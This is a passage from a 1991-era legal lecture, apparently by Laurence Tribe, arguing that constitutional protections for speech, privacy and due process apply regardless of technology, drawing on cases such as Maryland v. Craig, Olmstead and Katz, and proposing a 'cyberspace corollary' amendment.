Justice Scalia, joined by the three "liberals" then on the Court
(Justices Brennan, Marshall and Stevens), dissented from that
cost-benefit approach to interpreting the Sixth Amendment. He
wrote:
The Court has convincingly proved that the Maryland
procedure serves a valid interest, and gives the
defendant virtually everything the Confrontation Clause
guarantees (everything, that is, except confrontation).
I am persuaded, therefore, that the Maryland procedure is
virtually constitutional. Since it is not, however,
actually constitutional I [dissent].
Could it be that the high-tech, closed-circuit TV context,
almost as familiar to the Court's youngest Justice as to his even
younger law clerks, might've had some bearing on Justice Scalia's
sly invocation of "virtual" constitutional reality? Even if
Justice Scalia wasn't making a pun on "virtual reality," and I
suspect he wasn't, his dissenting opinion about the Confrontation
Clause requires *us* to "confront" the recurring puzzle of how
constitutional provisions written two centuries ago should be
construed and applied in ever-changing circumstances.
Should contemporary society's technology-driven cost-benefit
fixation be allowed to water down the old-fashioned value of direct
confrontation that the Constitution seemingly enshrined as basic?
I would hope not. In that respect, I find myself in complete
agreement with Justice Scalia.
But new technological possibilities for seeing your accuser
clearly without having your accuser see you at all -- possibilities
for sparing the accuser any discomfort in ways that the accuser
couldn't be spared before one-way mirrors or closed-circuit TVs
were developed -- *should* lead us at least to ask ourselves whether
*two*-way confrontation, in which your accuser is supposed to be made
uncomfortable, and thus less likely to lie, really *is* the core
value of the Confrontation Clause. If so, "virtual" confrontation
should be held constitutionally insufficient. If not -- if the
core value served by the Confrontation Clause is just the ability
to *watch* your accuser say that you did it -- then "virtual"
confrontation should suffice. New technologies should lead us to
look more closely at just *what values* the Constitution seeks to
preserve. New technologies should *not* lead us to react reflexively
*either way* -- either by assuming that technologies the Framers
didn't know about make their concerns and values obsolete, or by
assuming that those new technologies couldn't possibly provide new
ways out of old dilemmas and therefore should be ignored
altogether.
The one-way mirror yields a fitting metaphor for the task we
confront. As the Supreme Court said in a different context several
years ago, "The mirror image presented [here] requires us to step
through an analytical looking glass to resolve it." (*NCAA v.
Tarkanian*, 109 S. Ct. at 462.) The world in which the Sixth
Amendment's Confrontation Clause was written and ratified was a
world in which "being confronted with" your accuser *necessarily*
meant a simultaneous physical confrontation so that your accuser
had to *perceive* you being accused by him. Closed-circuit
television and one-way mirrors changed all that by *decoupling* those
two dimensions of confrontation, marking a shift in the conditions of
information-transfer that is in many ways typical of cyberspace.
What does that sort of shift mean for constitutional analysis?
A common way to react is to treat the pattern as it existed *prior*
to the new technology (the pattern in which doing "A" necessarily
*included* doing "B") as essentially arbitrary or accidental. Taking
this approach, once the technological change makes it possible to
do "A" *without* "B" -- to see your accuser without having him or her
see you, or to read someone's mail without her knowing it, to
switch examples -- one concludes that the "old" Constitution's
inclusion of "B" is irrelevant; one concludes that it is enough for
the government to guarantee "A" alone. Sometimes that will be the
case; but it's vital to understand that, sometimes, it won't be.
A characteristic feature of modernity is the subordination of
purpose to accident -- an acute appreciation of just how contingent
and coincidental the connections we are taught to make often are.
We understand, as moderns, that many of the ways we carve up and
organize the world reflect what our social history and cultural
heritage, and perhaps our neurological wiring, bring to the world,
and not some irreducible "way things are." A wonderful example
comes from a 1966 essay by Jorge Louis Borges, "Other
Inquisitions." There, the essayist describes the following
taxonomy of the animal kingdom, which he purports to trace to an
ancient Chinese encyclopedia entitled *The Celestial Emporium of
Benevolent Knowledge*:
On those remote pages it is written that animals are
divided into:
(a) those belonging to the Emperor
(b) those that are embalmed
(c) those that are trained
(d) suckling pigs
(e) mermaids
(f) fabulous ones
(g) stray dogs
(h) those that are included in this classification
(i) those that tremble as if they were mad
(j) innumerable ones
(k) those drawn with a very fine camel's hair brush
(l) others
(m) those that have just broken a water pitcher
(n) those that, from a great distance, resemble flies
Contemporary writers from Michel Foucault, in *The Archaeology
of Knowledge*, through George Lakoff, in *Women, Fire, and Dangerous
Things*, use Borges' Chinese encyclopedia to illustrate a range of
different propositions, but the *core* proposition is the supposed
arbitrariness -- the political character, in a sense -- of all
culturally imposed categories.
At one level, that proposition expresses a profound truth and
may encourage humility by combating cultural imperialism. At
another level, though, the proposition tells a dangerous lie: it
suggests that we have descended into the nihilism that so obsessed
Nietzsche and other thinkers -- a world where *everything* is
relative, all lines are up for grabs, all principles and
connections are just matters of purely subjective preference or,
worse still, arbitrary convention. Whether we believe that killing
animals for food is wrong, for example, becomes a question
indistinguishable from whether we happen to enjoy eating beans,
rice and tofu.
This is a particularly pernicious notion in a era when we pass
more and more of our lives in cyberspace, a place where, almost by
definition, our most familiar landmarks are rearranged or disappear
altogether -- because there is a pervasive tendency, even (and
perhaps especially) among the most enlightened, to forget that the
human values and ideals to which we commit ourselves may indeed be
universal and need not depend on how our particular cultures, or
our latest technologies, carve up the universe we inhabit. It was
my very wise colleague from Yale, the late Art Leff, who once
observed that, even in a world without an agreed-upon God, we can
still agree -- even if we can't "prove" mathematically -- that
"napalming babies is wrong."
The Constitution's core values, I'm convinced, need not be
transmogrified, or metamorphosed into oblivion, in the dim recesses
of cyberspace. But to say that they *need* not be lost there is
hardly to predict that they *will* not be. On the contrary, without
further thought and awareness of the kind this conference might
provide, the danger is clear and present that they *will* be.
The "event horizon" against which this transformation might
occur is already plainly visible:
Electronic trespassers like Kevin Mitnik don't stop with
cracking pay phones, but break into NORAD -- the North American
Defense Command computer in Colorado Springs -- not in a *WarGames*
movie, but in real life.
Less challenging to national security but more ubiquitously
threatening, computer crackers download everyman's credit history
>from institutions like TRW; start charging phone calls (and more)
to everyman's number; set loose "worm" programs that shut down
thousands of linked computers; and spread "computer viruses"
through everyman's work or home PC.
It is not only the government that feels threatened by
"computer crime"; both the owners and the users of private
information services, computer bulletin boards, gateways, and
networks feel equally vulnerable to this new breed of invisible
trespasser. The response from the many who sense danger has been
swift, and often brutal, as a few examples illustrate.
Last March, U.S. Secret Service agents staged a surprise raid
on Steve Jackson Games, a small games manufacturer in
Austin, Texas, and seized all paper and electronic drafts of its
newest fantasy role-playing game, *GURPS[reg.t.m.] Cyberpunk*,
calling the game a "handbook for computer crime."
By last Spring, up to one quarter of the U.S. Treasury
Department's investigators had become involved in a project of
eavesdropping on computer bulletin boards, apparently tracking
notorious hackers like "Acid Phreak" and "Phiber Optik" through
what one journalist dubbed "the dark canyons of cyberspace."
Last May, in the now famous (or infamous) "Operation Sun Devil,"
more than 150 secret service agents teamed up with state
and local law enforcement agencies, and with security personnel
>from AT&T, American Express, U.S. Sprint, and a number of the
regional Bell telephone companies, armed themselves with over two
dozen search warrants and more than a few guns, and seized 42
computers and 23,000 floppy discs in 14 cities from New York to
Texas. Their target: a loose-knit group of people in their teens
and twenties, dubbed the "Legion of Doom."
I am not describing an Indiana Jones movie. I'm talking about
America in the 1990s.
The Problem
The Constitution's architecture can too easily come to seem
quaintly irrelevant, or at least impossible to take very seriously,
in the world as reconstituted by the microchip. I propose today to
canvass five axioms of our constitutional law -- five basic
assumptions that I believe shape the way American constitutional
scholars and judges view legal issues -- and to examine how they
can adapt to the cyberspace age. My conclusion (and I will try not
to give away too much of the punch line here) is that the Framers
of our Constitution were very wise indeed. They bequeathed us a
framework for all seasons, a truly astonishing document whose
principles are suitable for all times and all technological
landscapes.
Axiom 1:
There is a Vital Difference
*Between Government and Private Action*
The first axiom I will discuss is the proposition that the
Constitution, with the sole exception of the Thirteenth Amendment
prohibiting slavery, regulates action by the *government* rather than
the conduct of *private* individuals and groups. In an article I
wrote in the Harvard Law Review in November 1989 on "The Curvature
of Constitutional Space," I discussed the Constitution's
metaphor-morphosis from a Newtonian to an Einsteinian and
Heisenbergian paradigm. It was common, early in our history, to
see the Constitution as "Newtonian in design with its carefully
counterpoised forces and counterforces, its [geographical and
institutional] checks and balances." (103 *Harv. L. Rev.* at 3.)
Indeed, in many ways contemporary constitutional law is still
trapped within and stunted by that paradigm. But today at least
some post-modern constitutionalists tend to think and talk in the
language of relativity, quantum mechanics, and chaos theory. This
may quite naturally suggest to some observers that the
Constitution's basic strategy of decentralizing and diffusing power
by constraining and fragmenting governmental authority in
particular has been rendered obsolete.
The institutional separation of powers among the three federal
branches of government, the geographical division of authority
between the federal government and the fifty state governments, the
recognition of national boundaries, and, above all, the sharp
distinction between the public and private spheres, become easy to
deride as relics of a simpler, pre-computer age. Thus Eli Noam, in
the First Ithiel de Sola Pool Memorial Lecture, delivered last
October at MIT, notes that computer networks and network
associations acquire quasi-governmental powers as they necessarily
take on such tasks as mediating their members' conflicting
interests, establishing cost shares, creating their own rules of
admission and access and expulsion, even establishing their own *de
facto* taxing mechanisms. In Professor Noam's words, "networks
become political entities," global nets that respect no state or
local boundaries. Restrictions on the use of information in one
country (to protect privacy, for example) tend to lead to export of
that information to other countries, where it can be analyzed and
then used on a selective basis in the country attempting to
restrict it. "Data havens" reminiscent of the role played by the
Swiss in banking may emerge, with few restrictions on the storage
and manipulation of information.
A tempting conclusion is that, to protect the free speech and
other rights of *users* in such private networks, judges must treat
these networks not as associations that have rights of their own
*against* the government but as virtual "governments" in themselves
-- as entities against which individual rights must be defended in
the Constitution's name. Such a conclusion would be misleadingly
simplistic. There are circumstances, of course, when
non-governmental bodies like privately owned "company towns" or
even huge shopping malls should be subjected to legislative and
administrative controls by democratically accountable entities, or
even to judicial controls as though they were arms of the state --
but that may be as true (or as false) of multinational corporations
or foundations, or transnational religious organizations, or even
small-town communities, as it is of computer-mediated networks.
It's a fallacy to suppose that, just because a computer bulletin
board or network or gateway is *something like* a shopping mall,
government has as much constitutional duty -- or even authority --
to guarantee open public access to such a network as it has to
guarantee open public access to a privately owned shopping center
like the one involved in the U.S. Supreme Court's famous *PruneYard
Shopping Center* decision of 1980, arising from nearby San Jose.
The rules of law, both statutory and judge-made, through which
each state *allocates* private powers and responsibilities themselves
represent characteristic forms of government action. That's why a
state's rules for imposing liability on private publishers, or for
deciding which private contracts to enforce and which ones to
invalidate, are all subject to scrutiny for their consistency with
the federal Constitution. But as a general proposition it is only
what *governments* do, either through such rules or through the
actions of public officials, that the United States Constitution
constrains. And nothing about any new technology suddenly erases
the Constitution's enduring value of restraining *government* above
all else, and of protecting all private groups, large and small,
>from government.
It's true that certain technologies may become socially
indispensable -- so that equal or at least minimal access to basic
computer power, for example, might be as significant a
constitutional goal as equal or at least minimal access to the
franchise, or to dispute resolution through the judicial system,
or to elementary and secondary education. But all this means (or
should mean) is that the Constitution's constraints on government
must at times take the form of imposing *affirmative duties* to
assure access rather than merely enforcing *negative prohibitions*
against designated sorts of invasion or intrusion.
Today, for example, the government is under an affirmative
obligation to open up criminal trials to the press and the public,
at least where there has not been a particularized finding that
such openness would disrupt the proceedings. The government is
also under an affirmative obligation to provide free legal
assistance for indigent criminal defendants, to assure speedy
trials, to underwrite the cost of counting ballots at election
time, and to desegregate previously segregated school systems. But
these occasional affirmative obligations don't, or shouldn't, mean
that the Constitution's axiomatic division between the realm of
public power and the realm of private life should be jettisoned.
Nor would the "indispensability" of information technologies
provide a license for government to impose strict content, access,
pricing, and other types of regulation. *Books* are indispensable to
most of us, for example -- but it doesn't follow that government
should therefore be able to regulate the content of what goes onto
the shelves of *bookstores*. The right of a private bookstore owner
to decide which books to stock and which to discard, which books to
display openly and which to store in limited access areas, should
remain inviolate. And note, incidentally, that this needn't make
the bookstore owner a "publisher" who is liable for the words
printed in the books on her shelves. It's a common fallacy to
imagine that the moment a computer gateway or bulletin board begins
to exercise powers of selection to control who may be on line, it
must automatically assume the responsibilities of a newscaster, a
broadcaster, or an author. For computer gateways and bulletin
boards are really the "bookstores" of cyberspace; most of them
organize and present information in a computer format, rather than
generating more information content of their own.
Axiom 2:
The Constitutional Boundaries of Private Property
and Personality Depend on Variables Deeper Than
*Social Utility and Technological Feasibility*
The second constitutional axiom, one closely related to the
private-public distinction of the first axiom, is that a person's
mind, body, and property belong *to that person* and not to the
public as a whole. Some believe that cyberspace challenges that
axiom because its entire premise lies in the existence of computers
tied to electronic transmission networks that process digital
information. Because such information can be easily replicated in
series of "1"s and "0"s, anything that anyone has come up with in
virtual reality can be infinitely reproduced. I can log on to a
computer library, copy a "virtual book" to my computer disk, and
send a copy to your computer without creating a gap on anyone's
bookshelf. The same is true of valuable computer programs, costing
hundreds of dollars, creating serious piracy problems. This
feature leads some, like Richard Stallman of the Free Software
Foundation, to argue that in cyberspace everything should be free
-- that information can't be owned. Others, of course, argue that
copyright and patent protections of various kinds are needed in
order for there to be incentives to create "cyberspace property" in
the first place.
Needless to say, there are lively debates about what the
optimal incentive package should be as a matter of legislative and
social policy. But the only *constitutional* issue, at bottom, isn't
the utilitarian or instrumental selection of an optimal policy.
Social judgments about what ought to be subject to individual
appropriation, in the sense used by John Locke and Robert Nozick,
and what ought to remain in the open public domain, are first and
foremost *political* decisions.
To be sure, there are some constitutional constraints on these
political decisions. The Constitution does not permit anything and
everything to be made into a *private commodity*. Votes, for
example, theoretically cannot be bought and sold. Whether the
Constitution itself should be read (or amended) so as to permit all
basic medical care, shelter, nutrition, legal assistance and,
indeed, computerized information services, to be treated as mere
commodities, available only to the highest bidder, are all terribly
hard questions -- as the Eastern Europeans are now discovering as
they attempt to draft their own constitutions. But these are not
questions that should ever be confused with issues of what is
technologically possible, about what is realistically enforceable,
or about what is socially desirable.
Similarly, the Constitution does not permit anything and
everything to be *socialized* and made into a public good available
to whoever needs or "deserves" it most. I would hope, for example,
that the government could not use its powers of eminent domain to
"take" live body parts like eyes or kidneys or brain tissue for
those who need transplants and would be expected to lead
particularly productive lives. In any event, I feel certain that
whatever constitutional right each of us has to inhabit his or her
own body and to hold onto his or her own thoughts and creations
should not depend solely on cost-benefit calculations, or on the
availability of technological methods for painlessly effecting
transfers or for creating good artificial substitutes.
Axiom 3:
*Government May Not Control Information Content*
A third constitutional axiom, like the first two, reflects a
deep respect for the integrity of each individual and a healthy
skepticism toward government. The axiom is that, although
information and ideas have real effects in the social world, it's
not up to government to pick and choose for us in terms of the
*content* of that information or the *value* of those ideas.
This notion is sometimes mistakenly reduced to the naive
child's ditty that "sticks and stones may break my bones, but words
can never hurt me." Anybody who's ever been called something awful
by children in a schoolyard knows better than to believe any such
thing. The real basis for First Amendment values isn't the false
premise that information and ideas have no real impact, but the
belief that information and ideas are *too important* to entrust to
any government censor or overseer.
If we keep that in mind, and *only* if we keep that in mind,
will we be able to see through the tempting argument that, in the
Information Age, free speech is a luxury we can no longer afford.
That argument becomes especially tempting in the context of
cyberspace, where sequences of "0"s and "1"s may become virtual
life forms. Computer "viruses" roam the information nets,
attaching themselves to various programs and screwing up computer
facilities. Creation of a computer virus involves writing a
program; the program then replicates itself and mutates. The
electronic code involved is very much like DNA. If information
content is "speech," and if the First Amendment is to apply in
cyberspace, then mustn't these viruses be "speech" -- and mustn't
their writing and dissemination be constitutionally protected? To
avoid that nightmarish outcome, mustn't we say that the First
Amendment is *inapplicable* to cyberspace?
The answer is no. Speech is protected, but deliberately
yelling "Boo!" at a cardiac patient may still be prosecuted as
murder. Free speech is a constitutional right, but handing a bank
teller a hold-up note that says, "Your money or your life," may
still be punished as robbery. Stealing someone's diary may be
punished as theft -- even if you intend to publish it in book form.
And the Supreme Court, over the past fifteen years, has gradually
brought advertising within the ambit of protected expression
without preventing the government from protecting consumers from
deceptive advertising. The lesson, in short, is that
constitutional principles are subtle enough to bend to such
concerns. They needn't be broken or tossed out.
Axiom 4:
The Constitution is Founded on Normative
Conceptions of Humanity That Advances
*in Science and Technology Cannot "Disprove"*
A fourth constitutional axiom is that the human spirit is
something beyond a physical information processor. That axiom,
which regards human thought processes as not fully reducible to the
operations of a computer program, however complex, must not be
confused with the silly view that, because computer operations
involve nothing more than the manipulation of "on" and "off" states
of myriad microchips, it somehow follows that government control or
outright seizure of computers and computer programs threatens no
First Amendment rights because human thought processes are not
directly involved. To say that would be like saying that
government confiscation of a newspaper's printing press and
tomorrow morning's copy has nothing to do with speech but involves
only a taking of metal, paper, and ink. Particularly if the seizure
or the regulation is triggered by the content of the information
being processed or transmitted, the First Amendment is of course
fully involved. Yet this recognition that information processing
by computer entails something far beyond the mere sequencing of
mechanical or chemical steps still leaves a potential gap between
what computers can do internally and in communication with one
another -- and what goes on within and between human minds. It is
that gap to which this fourth axiom is addressed; the very
existence of any such gap is, as I'm sure you know, a matter of
considerable controversy.
What if people like the mathematician and physicist Roger
Penrose, author of *The Emperor's New Mind*, are wrong about human
minds? In that provocative recent book, Penrose disagrees with
those Artificial Intelligence, or AI, gurus who insist that it's
only a matter of time until human thought and feeling can be
perfectly simulated or even replicated by a series of purely
physical operations -- that it's all just neurons firing and
neurotransmitters flowing, all subject to perfect modeling in
suitable computer systems. Would an adherent of that AI orthodoxy,
someone whom Penrose fails to persuade, have to reject as
irrelevant for cyberspace those constitutional protections that
rest on the anti-AI premise that minds are *not* reducible to really
fancy computers?
Consider, for example, the Fifth Amendment, which provides
that "no person shall be . . . compelled in any criminal case to
be a witness against himself." The Supreme Court has long held
that suspects may be required, despite this protection, to provide
evidence that is not "testimonial" in nature -- blood samples, for
instance, or even exemplars of one's handwriting or voice. Last
year, in a case called *Pennsylvania v. Muniz*, the Supreme Court
held that answers to even simple questions like "When was your
sixth birthday?" are testimonial because such a question, however
straightforward, nevertheless calls for the product of mental
activity and therefore uses the suspect's mind against him. But
what if science could eventually describe thinking as a process no
more complex than, say, riding a bike or digesting a meal? Might
the progress of neurobiology and computer science eventually
overthrow the premises of the *Muniz* decision?
I would hope not. For the Constitution's premises, properly
understood, are *normative* rather than *descriptive*. The philosopher
David Hume was right in teaching that no "ought" can ever be
logically derived from an "is." If we should ever abandon the
Constitution's protection for the distinctively and universally
human, it won't be because robotics or genetic engineering or
computer science have led us to deeper truths, but rather because
they have seduced us into more profound confusions. Science and
technology open options, create possibilities, suggest
incompatibilities, generate threats. They do not alter what is
"right" or what is "wrong." The fact that those notions are
elusive and subject to endless debate need not make them totally
contingent on contemporary technology.
Axiom 5:
Constitutional Principles Should Not
*Vary With Accidents of Technology*
In a sense, that's the fifth and final constitutional axiom I
would urge upon this gathering: that the Constitution's norms, at
their deepest level, must be invariant under merely *technological*
transformations. Our constitutional law evolves through judicial
interpretation, case by case, in a process of reasoning by analogy
>from precedent. At its best, that process is ideally suited to
seeing beneath the surface and extracting deeper principles from
prior decisions. At its worst, though, the same process can get
bogged down in superficial aspects of preexisting examples,
fixating upon unessential features while overlooking underlying
principles and values.
When the Supreme Court in 1928 first confronted wiretapping
and held in *Olmstead v. United States* that such wiretapping
involved no "search" or "seizure" within the meaning of the Fourth
Amendment's prohibition of "unreasonable searches and seizures,"
the majority of the Court reasoned that the Fourth Amendment
"itself shows that the search is to be of material things -- the
person, the house, his papers or his effects," and said that "there
was no searching" when a suspect's phone was tapped because the
Constitution's language "cannot be extended and expanded to include
telephone wires reaching to the whole world from the defendant's
house or office." After all, said the Court, the intervening wires
"are not part of his house or office any more than are the highways
along which they are stretched." Even to a law student in the
1960s, as you might imagine, that "reasoning" seemed amazingly
artificial. Yet the *Olmstead* doctrine still survived.
It would be illuminating at this point to compare the Supreme
Court's initial reaction to new technology in *Olmstead* with its
initial reaction to new technology in *Maryland v. Craig*, the 1990
closed-circuit television case with which we began this discussion.
In *Craig*, a majority of the Justices assumed that, when the 18th-
century Framers of the Confrontation Clause included a guarantee of
two-way *physical* confrontation, they did so solely because it had
not yet become technologically feasible for the accused to look his
accuser in the eye without having the accuser simultaneously watch
the accused. Given that this technological obstacle has been
removed, the majority assumed, one-way confrontation is now
sufficient. It is enough that the accused not be subject to
criminal conviction on the basis of statements made outside his
presence.
In *Olmstead*, a majority of the Justices assumed that, when the
18th-century authors of the Fourth Amendment used language that
sounded "physical" in guaranteeing against invasions of a person's
dwelling or possessions, they did so not solely because *physical*
invasions were at that time the only serious threats to personal
privacy, but for the separate and distinct reason that *intangible*
invasions simply would not threaten any relevant dimension of
Fourth Amendment privacy.
In a sense, *Olmstead* mindlessly read a new technology *out* of
the Constitution, while *Craig* absent-mindedly read a new technology
*into* the Constitution. But both decisions -- *Olmstead* and *Craig* --
had the structural effect of withholding the protections of the
Bill of Rights from threats made possible by new information
technologies. *Olmstead* did so by implausibly reading the
Constitution's text as though it represented a deliberate decision
not to extend protection to threats that 18th-century thinkers
simply had not foreseen. *Craig* did so by somewhat more plausibly
-- but still unthinkingly -- treating the Constitution's seemingly
explicit coupling of two analytically distinct protections as
reflecting a failure of technological foresight and imagination,
rather than a deliberate value choice.
The *Craig* majority's approach appears to have been driven in
part by an understandable sense of how a new information technology
could directly protect a particularly sympathetic group, abused
children, from a traumatic trial experience. The *Olmstead*
majority's approach probably reflected both an exaggerated estimate
of how difficult it would be to obtain wiretapping warrants even
where fully justified, and an insufficient sense of how a new
information technology could directly threaten all of us. Although
both *Craig* and *Olmstead* reveal an inadequate consciousness about
how new technologies interact with old values, *Craig* at least seems
defensible even if misguided, while *Olmstead* seems just plain
wrong.
Around 23 years ago, as a then-recent law school graduate
serving as law clerk to Supreme Court Justice Potter Stewart, I
found myself working on a case involving the government's
electronic surveillance of a suspected criminal -- in the form of
a tiny device attached to the outside of a public telephone booth.
Because the invasion of the suspect's privacy was accomplished
without physical trespass into a "constitutionally protected area,"
the Federal Government argued, relying on *Olmstead*, that there had
been no "search" or "seizure," and therefore that the Fourth
Amendment "right of the people to be secure in their persons,
houses, papers, and effects, against unreasonable searches and
seizures," simply did not apply.
At first, there were only four votes to overrule *Olmstead* and
to hold the Fourth Amendment applicable to wiretapping and
electronic eavesdropping. I'm proud to say that, as a 26-year-old
kid, I had at least a little bit to do with changing that number
>from four to seven -- and with the argument, formally adopted by a
seven-Justice majority in December 1967, that the Fourth Amendment
"protects people, not places." (389 U.S. at 351.) In that
decision, *Katz v. United States*, the Supreme Court finally
repudiated *Olmstead* and the many decisions that had relied upon it
and reasoned that, given the role of electronic telecommunications
in modern life, the First Amendment purposes of protecting *free
speech* as well as the Fourth Amendment purposes of protecting
*privacy* require treating as a "search" any invasion of a person's
confidential telephone communications, with or without physical
trespass.
Sadly, nine years later, in *Smith v. Maryland*, the Supreme
Court retreated from the *Katz* principle by holding that no search
occurs and therefore no warrant is needed when police, with the
assistance of the telephone company, make use of a "pen register",
a mechanical device placed on someone's phone line that records all
numbers dialed from the phone and the times of dialing. The
Supreme Court, over the dissents of Justices Stewart, Brennan, and
Marshall, found no legitimate expectation of privacy in the numbers
dialed, reasoning that the digits one dials are routinely recorded
by the phone company for billing purposes. As Justice Stewart, the
author of *Katz*, aptly pointed out, "that observation no more than
describes the basic nature of telephone calls . . . . It is simply
not enough to say, after *Katz*, that there is no legitimate
expectation of privacy in the numbers dialed because the caller
assumes the risk that the telephone company will expose them to the
police." (442 U.S. at 746-747.) Today, the logic of *Smith* is
being used to say that people have no expectation of privacy when
they use their cordless telephones since they know or should know
that radio waves can be easily monitored!
It is easy to be pessimistic about the way in which the
Supreme Court has reacted to technological change. In many
respects, *Smith* is unfortunately more typical than *Katz* of the way
the Court has behaved. For example, when movies were invented, and
for several decades thereafter, the Court held that movie
exhibitions were not entitled to First Amendment protection. When
community access cable TV was born, the Court hindered municipal
attempts to provide it at low cost by holding that rules requiring
landlords to install small cable boxes on their apartment buildings
amounted to a compensable taking of property. And in *Red Lion v.
FCC*, decided twenty-two years ago but still not repudiated today,
the Court ratified government control of TV and radio broadcast
content with the dubious logic that the scarcity of the
electromagnetic spectrum justified not merely government policies
to auction off, randomly allocate, or otherwise ration the spectrum
according to neutral rules, but also much more intrusive and
content-based government regulation in the form of the so-called
"fairness doctrine."
Although the Supreme Court and the lower federal courts have
taken a somewhat more enlightened approach in dealing with cable
television, these decisions for the most part reveal a curious
judicial blindness, as if the Constitution had to be reinvented
with the birth of each new technology. Judges interpreting a late
18th century Bill of Rights tend to forget that, unless its *terms*
are read in an evolving and dynamic way, its *values* will lose even
the *static* protection they once enjoyed. Ironically, *fidelity* to
original values requires *flexibility* of textual interpretation. It
was Judge Robert Bork, not famous for his flexibility, who once
urged this enlightened view upon then Judge (now Justice) Scalia,
when the two of them sat as colleagues on the U.S. Court of Appeals
for the D.C. Circuit.
Judicial error in this field tends to take the form of saying
that, by using modern technology ranging from the telephone to the
television to computers, we "assume the risk." But that typically
begs the question. Justice Harlan, in a dissent penned two decades
ago, wrote: "Since it is the task of the law to form and project,
as well as mirror and reflect, we should not . . . merely recite .
. . risks without examining the *desirability* of saddling them upon
society." (*United States v. White*, 401 U.S. at 786). And, I would
add, we should not merely recite risks without examining how
imposing those risks comports with the Constitution's fundamental
values of *freedom*, *privacy*, and *equality*.
Failing to examine just that issue is the basic error I
believe federal courts and Congress have made:
* in regulating radio and TV broadcasting without
adequate sensitivity to First Amendment values;
* in supposing that the selection and editing of
video programs by cable operators might be less
than a form of expression;
* in excluding telephone companies from cable and
other information markets;
* in assuming that the processing of "O"s and "1"s
by computers as they exchange data with one
another is something less than "speech"; and
* in generally treating information processed
electronically as though it were somehow less
entitled to protection for that reason.
The lesson to be learned is that these choices and these
mistakes are not dictated by the Constitution. They are decisions
for us to make in interpreting that majestic charter, and in
implementing the principles that the Constitution establishes.
*Conclusion*
If my own life as a lawyer and legal scholar could leave just
one legacy, I'd like it to be the recognition that the Constitution
*as a whole* "protects people, not places." If that is to come
about, the Constitution as a whole must be read through a
technologically transparent lens. That is, we must embrace, as a
rule of construction or interpretation, a principle one might call
the "cyberspace corollary." It would make a suitable
Twenty-seventh Amendment to the Constitution, one befitting the
200th anniversary of the Bill of Rights. Whether adopted all at
once as a constitutional amendment, or accepted gradually as a
principle of interpretation that I believe should obtain even
without any formal change in the Constitution's language, the
corollary I would propose would do for *technology* in 1991 what I
believe the Constitution's Ninth Amendment, adopted in 1791, was
meant to do for *text*.
The Ninth Amendment says: "The enumeration in the
Constitution, of certain rights, shall not be construed to deny or
disparage others retained by the people." That amendment provides
added support for the long-debated, but now largely accepted,
"right of privacy" that the Supreme Court recognized in such
decisions as the famous birth control case of 1965, *Griswold v.
Connecticut*. The Ninth Amendment's simple message is: The *text*
used by the Constitution's authors and ratifiers does not exhaust
the values our Constitution recognizes. Perhaps a Twenty-seventh
Amendment could convey a parallel and equally simple message: The
*technologies* familiar to the Constitution's authors and ratifiers
similarly do not exhaust the *threats* against which the
Constitution's core values must be protected.
The most recent amendment, the twenty-sixth, adopted in 1971,
extended the vote to 18-year-olds. It would be fitting, in a world
where youth has been enfranchised, for a twenty-seventh amendment
to spell a kind of "childhood's end" for constitutional law. The
Twenty-seventh Amendment, to be proposed for at least serious
debate in 1991, would read simply:
"This Constitution's protections for the freedoms of
speech, press, petition, and assembly, and its
protections against unreasonable searches and seizures
and the deprivation of life, liberty, or property without
due process of law, shall be construed as fully
applicable without regard to the technological method or
medium through which information content is generated,
stored, altered, transmitted, or controlled."
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